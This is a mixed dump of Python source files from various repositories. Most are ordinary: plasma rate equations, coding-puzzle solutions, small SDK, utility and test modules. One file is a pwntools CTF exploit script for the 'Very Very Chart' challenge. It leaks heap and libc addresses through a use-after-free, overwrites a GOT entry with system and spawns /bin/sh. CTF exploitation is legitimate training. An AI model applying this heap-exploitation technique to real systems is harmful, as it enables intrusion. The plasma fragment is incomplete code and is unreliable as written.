k22_7_4 = 0.70e-11 k22_7_5 = 0.11e-10 k22_7_6 = 0.12e-10 k22_8_0 = 0.30e-11 k22_8_1 = 0.29e-11 k22_8_2 = 0.29e-11 k22_8_3 = 0.35e-11 k22_8_4 = 0.56e-11 k22_8_5 = 0.82e-11 k22_8_6 = 0.12e-10 k22_8_7 = 0.14e-10 k22_9_0 = 0.52e-12 k22_9_1 = 0.14e-11 k22_9_2 = 0.30e-11 k22_9_3 = 0.37e-11 k22_9_4 = 0.48e-11 k22_9_5 = 0.53e-11 k22_9_6 = 0.92e-11 k22_9_7 = 0.13e-10 k22_9_8 = 0.14e-10 k23 = k24 = k25 = k26 = k27 = k28_1_0 = 1 k28_2_0 = 0.6535 k28_2_1 = 0.35 k28_3_0 = 0.30023 k28_3_1 = 0.40221 k28_3_2 = 0.30023 k28_4_0 = 0.17949 k28_4_1 = 0.25373 k28_4_2 = 0.32389 k28_4_3 = 0.24312 k28_5_0 = 0.15093 k28_5_1 = 0.17867 k28_5_2 = 0.22844 k28_5_3 = 0.23986 k28_5_4 = 0.19662 k28_6_0 = 0.12483 k28_6_1 = 0.13462 k28_6_2 = 0.16399 k28_6_3 = 0.1958 k28_6_4 = 0.20478 k28_6_5 = 0.17541 k28_7_0 = 0.10035 k28_7_1 = 0.11096 k28_7_2 = 0.13054 k28_7_3 = 0.15991 k28_7_4 = 0.17949 k28_7_5 = 0.17051 k28_7_6 = 0.15093 k28_8_0 = 0.08648 k28_8_1 = 0.09056 k28_8_2 = 0.10688 k28_8_3 = 0.12483 k28_8_4 = 0.16888 k28_8_5 = 0.15991 k28_8_6 = 0.14033 k28_8_7 = 0.12564 k28_9_0 = 0.07506 k28_9_1 = 0.07832 k28_9_2 = 0.08974 k28_9_3 = 0.11014 k28_9_4 = 0.13951 k28_9_5 = 0.14359 k28_9_6 = 0.12483 k28_9_7 = 0.12238 k28_9_8 = 0.11503 ##### Energy Loss per Reaction ##### E1_0 = 15.42 E1_1 = 15.42 E1_2 = 15.42 E1_3 = 15.42 E1_4 = 15.42 E2 = 8.5 E3_1 = E3_2 = E3_3 = E3_4 = E3_5 = E3_6 = E4_0 = E4_1 = E4_2 = E4_3 = E4_4 = E4_5 = E4_6 = E4_7 = E4_8 = E5_0 = Te E5_1 = Te E5_2 = Te E5_3 = Te E5_4 = Te E5_5 = Te E5_6 = Te E5_7 = Te E5_8 = Te E5_9 = Te E6_0 = 20 # XS데이터가 다 20부터 시작임 E6_1 = 20 E6_2 = 20 E6_3 = 20 E6_4 = 20 E6_5 = 20 E6_6 = 20 E6_7 = 20 E6_8 = 20 E6_9 = 20 E7 = 18 E8 = 13.6 E9 = 10.5 E10 = 0 E11 = Te E12 = 14 E13 = Te E14 = 0.75 E15 = 0 E16 = 0 E17 = 0 E18 = 0 E19 = 15.3 E20 = 10.2 E21 = 3.4 E22 = 0 #Quasi-Neutrality eqn 완료 ne = nHp + nH2p + nH3p - nHm #Hydrogen atom conservation eqn 완료 nH2_v0 = self.ng - (0.5*(nH + nHp + nH_2s + nHm) + sum(calculation_array[3:12]) + nH2p + 1.5*nH3p) #Particle balance eqn for electron 완료 dne_dt = (k1_0*ne*nH2_v0) + (k1_1*ne*nH2_v1) + (k1_2*ne*nH2_v2) + (k1_3*ne*nH2_v3) + (k1_4*ne*nH2_v4) \ - (k5_0*ne*nH2_v0) - (k5_1*ne*nH2_v1) - (k5_2*ne*nH2_v2) - (k5_3*ne*nH2_v3) - (k5_4*ne*nH2_v4) - (k5_5*ne*nH2_v5) - (k5_6*ne*nH2_v6) - (k5_7*ne*nH2_v7) - (k5_8*ne*nH2_v8) - (k5_9*ne*nH2_v9) + (k7*ne*nH2_v0) + (k8*ne*nH) - (k11*ne*nH3p) - (k13*ne*nH3p) + (k14*ne*nHm) + (k15*nH*nHm) + (k21ne*nH_2s) - ne*uB*Aeff/V #Power balance eqn for electron 아직임 dTe_dt = 2/(3*ne)*(power(t)/V - (Vs+2.5*Te)*ne*uB*Aeff/V - 3/2*Te*dne_dt - (k1*nH*E1*ne + k2*nHp*E2*ne + k3*nH2_v0*E3*ne + k4*nH2_v0*E4*ne + k5*nH2_v0*E5*ne + k6*nH2p*E6*ne + k7*nH2p*E7*ne + k8*nH2p*E8*ne + k9*nH3p*E9*ne + k10*nH3p*E10*ne + k11*nH2p*E11*nH2_v0)) #Particle balance eqn for other species except electron 아직임 dnH_dt = 2*(k2*ne*nH2_v0) + (k5_0*ne*nH2_v0) + (k5_1*ne*nH2_v1) + (k5_2*ne*nH2_v2) + (k5_3*ne*nH2_v3) + (k5_4*ne*nH2_v4) + (k5_5*ne*nH2_v5) + (k5_6*ne*nH2_v6) + (k5_7*ne*nH2_v7) + (k5_8*ne*nH2_v8) + (k5_9*ne*nH2_v9) + (k7*ne*nH2_v0) - (k8*ne*nH) + (k9*ne*nH2p) + (k10*nH2p*nH2_v0) + (k11*ne*nH3p) + 2*(k12*ne*nH3p) + (k14*ne*nHm) - (k15*nH*nHm) + (k16*nHp*nHm) + (k17*nH2p*nHm) + 2*(k18*nH3p*nHm) + (k19*ne*nH2_v0) - (k20*ne*nH) +k23 + k24 + k26 + k27 dnH_2s_dt = (k16*nHp*nHm) + (k19*ne*nH2_v0) + (k20*ne*nH) - (k21*ne*nH_2s) - k27 dnH2_v1_dt = dnH2_v2_dt = dnH2_v3_dt = dnH2_v4_dt = dnH2_v5_dt = dnH2_v6_dt = dnH2_v7_dt = dnH2_v8_dt = dnH2_v9_dt = dnHp_dt = (k7*ne*nH2_v0) + (k8*ne*nH) + (k9*ne*nH2p) + (k12*ne*nH3p) - (k16*nHp*nHm) + (k21*ne*nH_2s) - k24 dnH2p_dt = (k1_0*ne*nH2_v0) + (k1_1*ne*nH2_v1) + (k1_2*ne*nH2_v2) + (k1_3*ne*nH2_v3) + (k1_4*ne*nH2_v4) - (k9*ne*nH2p) - (k10*nH2p*nH2_v0) + (k13*ne*nH3p) - (k17*nH2p*nHm) - k25 dnH3p_dt = (k10*nH2p*nH2_v0) - (k12*ne*nH3p) - (k13*ne*nH3p) - (k18*nH3p*nHm) - k26 dnHm_dt = (k5_1*ne*nH2_v1) + (k5_2*ne*nH2_v2) + (k5_3*ne*nH2_v3) + (k5_4*ne*nH2_v4) + (k5_5*ne*nH2_v5) + (k5_6*ne*nH2_v6) + (k5_7*ne*nH2_v7) + (k5_8*ne*nH2_v8) + (k5_9*ne*nH2_v9) + (k13*ne*nH3p) - (k14*ne*nHm) - (k15*nH*nHm) - (k16*nHp*nHm) - (k17*nH2p*nHm) - (k18*nH3p*nHm) return [dTe_dt, dnH_dt, dnH_2s_dt, dnH2_v1_dt, dnH2_v2_dt, dnH2_v3_dt, dnH2_v4_dt, dnH2_v5_dt, dnH2_v6_dt, dnH2_v7_dt, dnH2_v8_dt, dnH2_v9_dt, dnHp_dt, dnH2p_dt, dnH3p_dt, dnHm_dt] #Pulsed power generate function def pulse_power(self, t): if t <= self.duty*self.period: return self.input_power else: return 0 #Temperature & Density Calculation def routine(self, init_value): routine_time_interval = np.linspace(0, self.period, int(self.period/self.time_resolution)) routine_result = odeint(balance_equations, init_value, routine_time_interval, args=(pulse_power,), rtol=10**-3, mxstep=10**6) #routine_result = np.transpose(routine_result) return routine_result def iteration(self): init_value = [2, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10] routine_result = routine(init_value) count = 0 Hm_compare = 1 while True: init_value = routine_result[-1] if not isclose(routine_result[:,15][-1], Hm_compare, rel_tol=1e-2): if iteration_number > 100: print('did not converge') break Hm_compare = routine_result[:,15][-1] routine_result = routine(init_value) count += 1 continue print('---------calculation complete!---------') print('iteration count : {}'.format(count)) print('---------------------------------------') routine_result = np.transpose(routine_result) Te, nH, nH_2s, nH2_v1, nH2_v2, nH2_v3, nH2_v4, nH2_v5, nH2_v6, nH2_v7, nH2_v8, nH2_v9, nHp, nH2p, nH3p, nHm = routine_result ne = nHp + nH2p + nH3p - nHm nH2_v0 = self.ng - (0.5*(nH + nHp + nH_2s + nHm) + sum(routine_result[3:12]) + nH2p + 1.5*nH3p) break return Te, ne, nH, nH_2s, nH2_v0, nH2_v1, nH2_v2, nH2_v3, nH2_v4, nH2_v5, nH2_v6, nH2_v7, nH2_v8, nH2_v9, nHp, nH2p, nH3p, nHm # 18개
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py
Python
practice/calendar/calendar/calendar/calendar_project.py
thekaranjit/pythonpractice
c87f535f694ee259a4d9de317f5b2eacd0e3748f
[ "Unlicense" ]
1
2018-06-21T23:15:18.000Z
2018-06-21T23:15:18.000Z
practice/calendar/calendar/calendar/calendar_project.py
thekaranjit/pythonpractice
c87f535f694ee259a4d9de317f5b2eacd0e3748f
[ "Unlicense" ]
null
null
null
practice/calendar/calendar/calendar/calendar_project.py
thekaranjit/pythonpractice
c87f535f694ee259a4d9de317f5b2eacd0e3748f
[ "Unlicense" ]
null
null
null
# import module import calendar # ask of month and year yy = int(input("Enter year: ")) mm = int(input("Enter month: ")) # display the calendar print(calendar.month(yy,mm))
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0.155172
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9
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19.333333
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0
0
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3
6d22c1587af4dfa165e56fe18dddcbb2dee5f664
73
py
Python
k3d/_version.py
annefou/K3D-jupyter
daeb38680ec1bfa49e80b59912aab15b959052de
[ "MIT" ]
null
null
null
k3d/_version.py
annefou/K3D-jupyter
daeb38680ec1bfa49e80b59912aab15b959052de
[ "MIT" ]
null
null
null
k3d/_version.py
annefou/K3D-jupyter
daeb38680ec1bfa49e80b59912aab15b959052de
[ "MIT" ]
null
null
null
version_info = (2, 4, 19) __version__ = '.'.join(map(str, version_info))
24.333333
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0.671233
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3.909091
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36.5
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0
3
6d28e0d64eb546a2315a51ec091aa3a19a839e37
1,038
py
Python
hackerrank/contest/101hack2015_6_b.py
knuu/competitive-programming
16bc68fdaedd6f96ae24310d697585ca8836ab6e
[ "MIT" ]
1
2018-11-12T15:18:55.000Z
2018-11-12T15:18:55.000Z
hackerrank/contest/101hack2015_6_b.py
knuu/competitive-programming
16bc68fdaedd6f96ae24310d697585ca8836ab6e
[ "MIT" ]
null
null
null
hackerrank/contest/101hack2015_6_b.py
knuu/competitive-programming
16bc68fdaedd6f96ae24310d697585ca8836ab6e
[ "MIT" ]
null
null
null
from heapq import heapify, heappush, heappop from collections import Counter, defaultdict, deque, OrderedDict from sys import setrecursionlimit, maxsize from bisect import bisect_left, bisect, insort_left, insort from math import ceil, log, factorial, hypot, pi from fractions import gcd from copy import deepcopy from functools import reduce from operator import mul from itertools import product, permutations, combinations, accumulate, cycle from string import ascii_uppercase, ascii_lowercase, ascii_letters, digits, hexdigits, octdigits prod = lambda l: reduce(mul, l) prodmod = lambda l, mod: reduce(lambda x, y: mul(x,y)%mod, l) def read_list(t): return [t(x) for x in input().split()] def read_line(t): return t(input()) def read_lines(t, N): return [t(input()) for _ in range(N)] T = read_line(int) for _ in range(T): R, S = read_list(int) k = R // S if S * k <= R <= S * k + S // 4: g = gcd(R-S*k, S) print('{} {}/{}'.format(R, (R-S*k)//g, S//g)) else: print('{} 0/1'.format(S*(k+1)))
35.793103
96
0.686898
168
1,038
4.172619
0.458333
0.014265
0.012839
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0.0047
0.180154
1,038
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0
0
1
1
1
0
0
3
6d347d3d8c5eab23a280b9984b4d6b87b6a813a8
1,111
py
Python
test/hlt/pytest/python/com/huawei/iotplatform/client/dto/NotifySwUpgradeStateChangedDTO.py
yuanyi-thu/AIOT-
27f67d98324593c4c6c66bbd5e2a4aa7b9a4ac1e
[ "BSD-3-Clause" ]
128
2018-10-29T04:11:47.000Z
2022-03-07T02:19:14.000Z
test/hlt/pytest/python/com/huawei/iotplatform/client/dto/NotifySwUpgradeStateChangedDTO.py
yuanyi-thu/AIOT-
27f67d98324593c4c6c66bbd5e2a4aa7b9a4ac1e
[ "BSD-3-Clause" ]
40
2018-11-02T00:40:48.000Z
2021-12-07T09:33:56.000Z
test/hlt/pytest/python/com/huawei/iotplatform/client/dto/NotifySwUpgradeStateChangedDTO.py
yuanyi-thu/AIOT-
27f67d98324593c4c6c66bbd5e2a4aa7b9a4ac1e
[ "BSD-3-Clause" ]
118
2018-10-29T08:43:57.000Z
2022-01-07T06:49:25.000Z
class NotifySwUpgradeStateChangedDTO(object): def __init__(self): self.notifyType = None self.deviceId = None self.appId = None self.operationId = None self.subOperationId = None self.swUpgradeState = None def getNotifyType(self): return self.notifyType def setNotifyType(self, notifyType): self.notifyType = notifyType def getDeviceId(self): return self.deviceId def setDeviceId(self, deviceId): self.deviceId = deviceId def getAppId(self): return self.appId def setAppId(self, appId): self.appId = appId def getOperationId(self): return self.operationId def setOperationId(self, operationId): self.operationId = operationId def getSubOperationId(self): return self.subOperationId def setSubOperationId(self, subOperationId): self.subOperationId = subOperationId def getSwUpgradeState(self): return self.swUpgradeState def setSwUpgradeState(self, swUpgradeState): self.swUpgradeState = swUpgradeState
24.152174
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0.667867
102
1,111
7.235294
0.254902
0.081301
0.113821
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1,111
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0
0
1
1
0
0
3
6d57330f5890530f320cf62fd898070beece7685
1,316
py
Python
pyheaders/cpp/enum.py
Roynecro97/pyheaders
0e1e90aef3e18d611ec289b25213e2aa2cc0ab45
[ "MIT" ]
2
2020-05-19T20:19:37.000Z
2021-04-06T18:59:06.000Z
pyheaders/cpp/enum.py
Roynecro97/pyheaders
0e1e90aef3e18d611ec289b25213e2aa2cc0ab45
[ "MIT" ]
6
2020-05-17T14:25:25.000Z
2020-07-13T11:45:21.000Z
pyheaders/cpp/enum.py
Roynecro97/pyheaders
0e1e90aef3e18d611ec289b25213e2aa2cc0ab45
[ "MIT" ]
null
null
null
''' Represents a C++ enum. ''' from collections import OrderedDict from typing import Any, Optional, Text, Union class Enum(OrderedDict): ''' Represents a C++ enum. ''' def __init__(self, name, items=None): super().__init__(items or []) self.name = name def __getitem__(self, name: Union[Text, Any]) -> Union[Any, Text]: if name in self.keys(): return super().__getitem__(name) for key, value in self.items(): if name == value: return key raise KeyError(name) def __setitem__(self, name: Text, value: Any): if not isinstance(name, str): raise TypeError("name must be a str.") if not name.isidentifier(): raise ValueError("name must be a valid identifier.") super().__setitem__(name, value) def get(self, key: Text, default: Optional[Any] = None, /): if key in self: return self[key] return default def __contains__(self, name: Text): return name in self.keys() or name in self.values() def __str__(self): return 'enum {}'.format(self.name) def __repr__(self): return 'Enum({!r}, [{}])'.format(self.name, ', '.join('({!r}, {!r})'.format(item, value) for item, value in self.items()))
26.857143
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1,316
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1
1
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0
3
ed974b0d6e70499730b205caa7425ce10c83731b
2,237
py
Python
sciquence/sequences/sliding_window.py
krzjoa/sciquence
6a5f758c757200fffeb0fdc9206462f1f89e2444
[ "MIT" ]
8
2017-10-23T17:59:35.000Z
2021-05-10T03:01:30.000Z
sciquence/sequences/sliding_window.py
krzjoa/sciquence
6a5f758c757200fffeb0fdc9206462f1f89e2444
[ "MIT" ]
2
2019-08-25T19:24:12.000Z
2019-09-05T12:16:10.000Z
sciquence/sequences/sliding_window.py
krzjoa/sciquence
6a5f758c757200fffeb0fdc9206462f1f89e2444
[ "MIT" ]
2
2018-02-28T09:47:53.000Z
2019-08-25T19:24:16.000Z
# Krzysztof Joachimiak 2017 # sciquence: Time series & sequences in Python # # Sliding window # Author: Krzysztof Joachimiak # # License: MIT from sklearn.base import BaseEstimator, TransformerMixin from sklearn.preprocessing import Imputer class SlidingWindow(BaseEstimator, TransformerMixin): # TODO: check reference ''' Class dedicated for simple sliding window transformations. It transforms only the one input sequence: for parallel X and y vectors processing see WindowsMaker Parameters ---------- window_size: int, default 5 Size of sliding window shift: int Shift of sliding window, default 1 Attributes ---------- window_size_: int Size of sliding window shift_: int Shift of sliding window Examples -------- >>> from sciquence.sliding_window import SlidingWindow >>> import numpy as np >>> X = np.array([0, 1, 23, 3, 4, 67, 89, 11, 2, 34]) >>> print SlidingWindow(window_size=3, shift=4).transform(X) [array([1, 2, 3]), array([ 5, 11, 12])] References ---------- Dietterich Thomas G. Machine Learning for Sequential Data: A Review http://web.engr.oregonstate.edu/~tgd/publications/mlsd-ssspr.pdf See Also -------- WindowsMaker ''' def __init__(self, window_size=5, shift=1): self.window_size_ = window_size self.shift_ = shift def fit(self, X, y=None): ''' Mock method, does nothing. Parameters ---------- X: ndarray (n_samples, n_features) A sequence Returns ------- self: SlidingWindow Returns self ''' return self def transform(self, X, y=None): # TODO: check array shape ''' Transform sequence into sequence of contextual sliding_window Parameters ---------- X: ndarray (n_samples, n_features) A sequence Returns ------- ''' windows = [] range_end = len(X) - self.window_size_+1 for i in xrange(0, range_end, self.shift_): windows.append(X[range(i, i+self.window_size_)]) return windows
21.509615
69
0.588735
253
2,237
5.098814
0.466403
0.08062
0.046512
0.029457
0.151938
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1
0
0
3
ed9eb4ccb84e2b5861f5d2fd5428fb0fde542ab3
343
py
Python
Leetcode/72. Edit Distance/solution2.py
asanoviskhak/Outtalent
c500e8ad498f76d57eb87a9776a04af7bdda913d
[ "MIT" ]
51
2020-07-12T21:27:47.000Z
2022-02-11T19:25:36.000Z
Leetcode/72. Edit Distance/solution2.py
CrazySquirrel/Outtalent
8a10b23335d8e9f080e5c39715b38bcc2916ff00
[ "MIT" ]
null
null
null
Leetcode/72. Edit Distance/solution2.py
CrazySquirrel/Outtalent
8a10b23335d8e9f080e5c39715b38bcc2916ff00
[ "MIT" ]
32
2020-07-27T13:54:24.000Z
2021-12-25T18:12:50.000Z
class Solution: def minDistance(self, word1: str, word2: str) -> int: @lru_cache(None) def dp(i, j): if i < 0 or j < 0: return max(i, j) + 1 return dp(i - 1, j - 1) if word1[i] == word2[j] else min(dp(i - 1, j), dp(i - 1, j - 1), dp(i, j - 1)) + 1 return dp(len(word1) - 1, len(word2) - 1)
38.111111
118
0.483965
63
343
2.619048
0.380952
0.090909
0.072727
0.090909
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8
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42.875
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0
0
0
1
0
0
3
eddc8f3d3f9fe062304babd4121734ff09948049
426
py
Python
src/Helix/playercontroller.py
FirstLevelGames/Helix
fd6f3106b65270db33dfa03797b4f0a14881778e
[ "MIT" ]
2
2022-01-28T06:19:19.000Z
2022-02-16T19:32:08.000Z
src/Helix/playercontroller.py
novialriptide/Helix
fd6f3106b65270db33dfa03797b4f0a14881778e
[ "MIT" ]
15
2022-01-25T19:18:59.000Z
2022-01-27T19:32:46.000Z
src/Helix/playercontroller.py
novialriptide/Helix
fd6f3106b65270db33dfa03797b4f0a14881778e
[ "MIT" ]
2
2021-12-11T20:06:17.000Z
2021-12-11T21:05:54.000Z
""" Helix: Flight Test (c) 2021 Andrew Hong This code is licensed under GNU LESSER GENERAL PUBLIC LICENSE (see LICENSE for details) """ from SakuyaEngine.controllers import BaseController class PlayerController(BaseController): def __init__(self) -> None: super().__init__() self.is_shooting = False class SecondaryController(BaseController): def __init__(self) -> None: super().__init__()
25.058824
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0.71831
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0.145329
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0
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0
3
eddd968de66af8f80b1a36490ca5e2bd020c72b5
229
py
Python
vesicashapi/upload.py
vesicash/vesicash-python-sdk
0a665e302b88c4eeb316a635c5485c9c3c1fffeb
[ "Apache-2.0" ]
null
null
null
vesicashapi/upload.py
vesicash/vesicash-python-sdk
0a665e302b88c4eeb316a635c5485c9c3c1fffeb
[ "Apache-2.0" ]
null
null
null
vesicashapi/upload.py
vesicash/vesicash-python-sdk
0a665e302b88c4eeb316a635c5485c9c3c1fffeb
[ "Apache-2.0" ]
1
2021-04-20T14:54:40.000Z
2021-04-20T14:54:40.000Z
""" Script used to call the upload service""" from vesicashapi.base import VesicashBase class Upload(VesicashBase): @classmethod def upload(cls, **kwargs): return cls().requests.post('upload/file', data=kwargs)
25.444444
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229
8
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28.625
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1
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0
0
3
ede594c7b841a17bd745f94e6e14ca549a96c9d0
621
py
Python
bnpy/viz/__init__.py
zhaottcrystal/bnpy
0195a0228e9e698799e52a6dfa1d051e82b43fd0
[ "BSD-3-Clause" ]
1
2019-05-14T19:56:53.000Z
2019-05-14T19:56:53.000Z
bnpy/viz/__init__.py
zhaottcrystal/bnpy
0195a0228e9e698799e52a6dfa1d051e82b43fd0
[ "BSD-3-Clause" ]
null
null
null
bnpy/viz/__init__.py
zhaottcrystal/bnpy
0195a0228e9e698799e52a6dfa1d051e82b43fd0
[ "BSD-3-Clause" ]
1
2020-09-01T13:21:18.000Z
2020-09-01T13:21:18.000Z
""" The :mod:`viz` module provides visualization capability """ import viz.BarsViz import viz.BernViz import viz.GaussViz import viz.SequenceViz import viz.ProposalViz import viz.PlotTrace import viz.PlotELBO import viz.PlotK import viz.PlotHeldoutLik import viz.PlotParamComparison import viz.PlotComps import viz.JobFilter import viz.TaskRanker import viz.BestJobSearcher __all__ = ['GaussViz', 'BernViz', 'BarsViz', 'SequenceViz', 'PlotTrace', 'PlotELBO', 'PlotK', 'ProposalViz', 'PlotComps', 'PlotParamComparison', 'PlotHeldoutLik', 'JobFilter', 'TaskRanker', 'BestJobSearcher']
23
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0
1
0
0
3
edfb1aa3d2ef7463e5b95af6f0bc09df74d092d6
371
py
Python
pyasice/exceptions.py
vgaicuks/pyasice
4e955a4aedc319199dfd367d1d092ba99f4fe1c2
[ "0BSD" ]
6
2021-02-04T13:15:13.000Z
2022-02-04T17:21:40.000Z
pyasice/exceptions.py
vgaicuks/pyasice
4e955a4aedc319199dfd367d1d092ba99f4fe1c2
[ "0BSD" ]
5
2020-10-26T14:43:34.000Z
2021-12-27T14:40:10.000Z
pyasice/exceptions.py
thorgate/pyasice
4423b7251392c7bf6bc5d14800b9b396b8eb2222
[ "0BSD" ]
1
2021-07-21T15:36:31.000Z
2021-07-21T15:36:31.000Z
class PyAsiceError(Exception): """ A generic exception that can happen while dealing with ASic-E/BDoc 2 files/signatures """ pass class ContainerError(PyAsiceError): pass class NoFilesToSign(PyAsiceError): pass class SignatureVerificationError(PyAsiceError): pass class InvalidSignatureAlgorithm(SignatureVerificationError): pass
16.130435
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3
610ab1863c7ddaa1c38857f222e1b6a7d510644e
4,655
py
Python
secuinside-2017/Very Very Chart/chart.py
mathboy7/CTF
e279bf91ad6b22fc41087571c5fba9501832ab80
[ "Apache-2.0" ]
46
2017-11-07T05:30:26.000Z
2021-11-24T09:33:41.000Z
secuinside-2017/Very Very Chart/chart.py
mathboy7/CTF
e279bf91ad6b22fc41087571c5fba9501832ab80
[ "Apache-2.0" ]
null
null
null
secuinside-2017/Very Very Chart/chart.py
mathboy7/CTF
e279bf91ad6b22fc41087571c5fba9501832ab80
[ "Apache-2.0" ]
3
2017-11-14T14:45:28.000Z
2020-08-30T07:59:04.000Z
from pwn import * r = process("./chart") raw_input("$") def register(type_, ID, PW, name, profile=""): # user 1, composer 2 r.send("2\n") print r.recvuntil("Type :") r.send(str(type_)+"\n") print r.recvuntil("ID : ") r.send(ID+"\n") print r.recvuntil("PW : ") r.send(PW+"\n") print r.recvuntil("Name : ") r.send(name+"\n") if(type_ == 1): print r.recvuntil(">") else: print r.recvuntil("Profile : ") r.send(profile+"\n") print r.recvuntil(">") def login(ID, PW): r.send("1\n") print r.recvuntil("ID :") r.send(ID+"\n") print r.recvuntil("PW :") r.send(PW+"\n") print r.recvuntil(">") def writeMusic(name, lyric): r.send("1\n") print r.recvuntil("Name : ") r.send(name+"\n") print r.recvuntil("Lyrics : ") r.send(lyric+"\n") print r.recvuntil(">") def deleteMusic(index): r.send("2\n") print r.recvuntil("Index : ") r.send(str(index)+"\n") print r.recvuntil(">") def editProfile(newProfile): r.send("3\n") print r.recvuntil("Edit Profile : ") r.send(newProfile+"\n") print r.recvuntil(">") def editMusic(musicIdx, newLyric): r.send("4\n") print r.recvuntil("Index :") r.send(str(musicIdx)+"\n") r.send(newLyric+"\n") print r.recvuntil(">") def logOut(type_): if type_== 1: # user r.send("9\n") print r.recvuntil(">") else: # composer r.send("5\n") print r.recvuntil(">") def createVeryBox(boxName): r.send("1\n") print r.recvuntil("Box Name :") r.send(boxName+"\n") print r.recvuntil(">") def deleteVeryBox(boxIndex): r.send("2\n") print r.recvuntil("Index :") r.send(str(boxIndex)+"\n") print r.recvuntil(">") def buyMusic(index): r.send("3\n") print r.recvuntil("Index :") r.send(str(index)+"\n") print r.recvuntil(">") def putMusicBox(boxIndex, musicIndex): r.send("4\n") print r.recvuntil("box :") r.send(str(boxIndex)+"\n") print r.recvuntil("box? > ") r.send(str(musicIndex)+"\n") print r.recvuntil(">") def moveBox2Box(destIdx, srcIdx, x, y): r.send("5\n") print r.recvuntil("index :") r.send(str(destIdx)+"\n") print r.recvuntil("index :") r.send(str(srcIdx)+"\n") print r.recvuntil("x :") r.send(str(x)+"\n") print r.recvuntil("y :") r.send(str(y)+"\n") print r.recvuntil(">") def deleteMusicU(musicIndex): r.send("8\n") print r.recvuntil("Index :") r.send(str(musicIndex)+"\n") print r.recvuntil(">") print r.recvuntil(">") register(1, "mathboy", "mathboy", "mathboy") register(2, "mitsuha", "mitsuha", "mitsuha", "A"*0x40) login("mitsuha", "mitsuha") # composer now! writeMusic("music1", "music1 hello") writeMusic("sex", "sex") logOut(2) # composer logout register(2, "sexma", "sex", "sex", "B"*0x40) # for attack login("sexma", "sex") # write for attackvec writeMusic("aaaaaaaa", "b"*0x39) # write for attackvec, music idx=2 logOut(2) login("mathboy", "mathboy") # user now! createVeryBox("myBox") buyMusic(0) putMusicBox(0, 0) # go music0 to box 0. deleteMusicU(0) logOut(1) # user logout login("mitsuha", "mitsuha") deleteMusic(0) logOut(2) login("mathboy", "mathboy") # user again! moveBox2Box(0, 0, 0, 0) # 0, 0 -> 0, 0, reference counting bug occured. createVeryBox(p64(0x607340)+"\n") r.send("6\n") print r.recvuntil("--\n0. ") recved = r.recvuntil("\n")[:-1] recved += "\x00"*(8-len(recved)) heap = u64(recved) print r.recvuntil(">") print "heap addr: " + hex(heap) createVeryBox("sexMaster") # second box buyMusic(1) putMusicBox(2, 0) # go music1 to box 2 deleteMusicU(0) logOut(1) login("mitsuha", "mitsuha") deleteMusic(1) logOut(2) login("mathboy", "mathboy") moveBox2Box(2, 2, 0, 0) logOut(1) # logout User login("mitsuha", "mitsuha") editProfile(p64(heap+0x350)+p64(0x0)+"A"*8+p64(heap-0x270)) logOut(2) # logout Composer register(1, p64(heap+0xc0), "P"*0x40, "Q"*0x40) login("sexma", "sex") # login for attack editProfile("B"*0x30+p64(0x0)+p64(0x71)) editMusic(2, p64(0x0)+p64(0x21)+"b"*0x20+p64(0x0)+"\x21") logOut(2) login("mathboy", "mathboy") deleteVeryBox(2) logOut(1) # logout User register(2, "payload", "payload", "payload", "A"*0x60) # overlapped! login("payload", "payload") payload = p64(0x0) + p64(0x31) payload += p64(heap+0x3b0) payload += p64(0x605030) editProfile(payload) logOut(2) login("mathboy", "mathboy") buyMusic(2) r.send("7\n") print r.recvuntil("Lyrics : ") recved = r.recv(6) libc = u64(recved+"\x00\x00") libc_base = libc - 0x66bf10 system = libc_base + 0x45390 print r.recvuntil(">") print "libc: " + hex(libc) logOut(1) login("sexma", "sex") # to edit editMusic(2, p64(system)[:6]) # got overwrite! logOut(2) login("mathboy", "mathboy") createVeryBox("/bin/sh") r.send("2\n") print r.recvuntil("Index :") r.send("2\n") # trigger system("/bin/sh")! r.interactive()
20.874439
71
0.643179
709
4,655
4.211566
0.181946
0.147354
0.216008
0.203617
0.363027
0.268252
0.248158
0.203952
0.118888
0.104153
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0.050406
0.126316
4,655
222
72
20.968468
0.683796
0.080559
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0.00578
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null
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1
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0
0
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0
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3
611ef43855c4502d2337beaf2e9bbdd18e660663
1,287
py
Python
test/utilities/test_Converter.py
pip-benchmark/pip-benchmark-python
d75672e940af12e2f9818607e2188490e989d8c5
[ "MIT" ]
null
null
null
test/utilities/test_Converter.py
pip-benchmark/pip-benchmark-python
d75672e940af12e2f9818607e2188490e989d8c5
[ "MIT" ]
null
null
null
test/utilities/test_Converter.py
pip-benchmark/pip-benchmark-python
d75672e940af12e2f9818607e2188490e989d8c5
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from pip_benchmark_python.utilities.Converter import Converter class TestConverter: def test_long_to_string(self): assert Converter.long_to_string(None) is None assert '123' == Converter.long_to_string(123) def test_string_to_long(self): assert 0 == Converter.string_to_long(None, 0) assert 0 == Converter.string_to_long('ABC', 0) assert 123 == Converter.string_to_long('123', 0) def test_double_to_string(self): assert Converter.double_to_string(None) is None assert '123.456' == Converter.double_to_string(123.456) def test_string_to_double(self): assert 0 == Converter.string_to_double(None, 0) assert 0 == Converter.string_to_double('ABC', 0) assert 123.456 == Converter.string_to_double('123.456', 0) def test_boolean_to_string(self): assert 'false' == Converter.boolean_to_string(None) assert 'true' == Converter.boolean_to_string(True) def test_string_to_boolean(self): assert False is Converter.string_to_boolean(None, False) assert True is Converter.string_to_boolean('True', False) assert True is Converter.string_to_boolean('1', False) assert True is Converter.string_to_boolean('T', False)
36.771429
66
0.695416
181
1,287
4.657459
0.171271
0.123369
0.201661
0.104389
0.46382
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0.145907
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0.046647
0.200466
1,287
34
67
37.852941
0.772595
0.016317
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1
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0
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0
0
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3
b62c2361b51ddd55b0ad6546bce400043a91ee1a
362
py
Python
tests/test_generator.py
skalarsystems/fhir-zeug
19973438823c41247e3efb5b1d35e8942ae01fdb
[ "Apache-2.0" ]
10
2020-04-23T18:13:13.000Z
2020-11-25T07:45:26.000Z
tests/test_generator.py
skalarsystems/fhir-zeug
19973438823c41247e3efb5b1d35e8942ae01fdb
[ "Apache-2.0" ]
71
2020-05-20T09:11:22.000Z
2020-10-26T14:01:03.000Z
tests/test_generator.py
skalarsystems/fhir-zeug
19973438823c41247e3efb5b1d35e8942ae01fdb
[ "Apache-2.0" ]
1
2020-06-03T11:55:47.000Z
2020-06-03T11:55:47.000Z
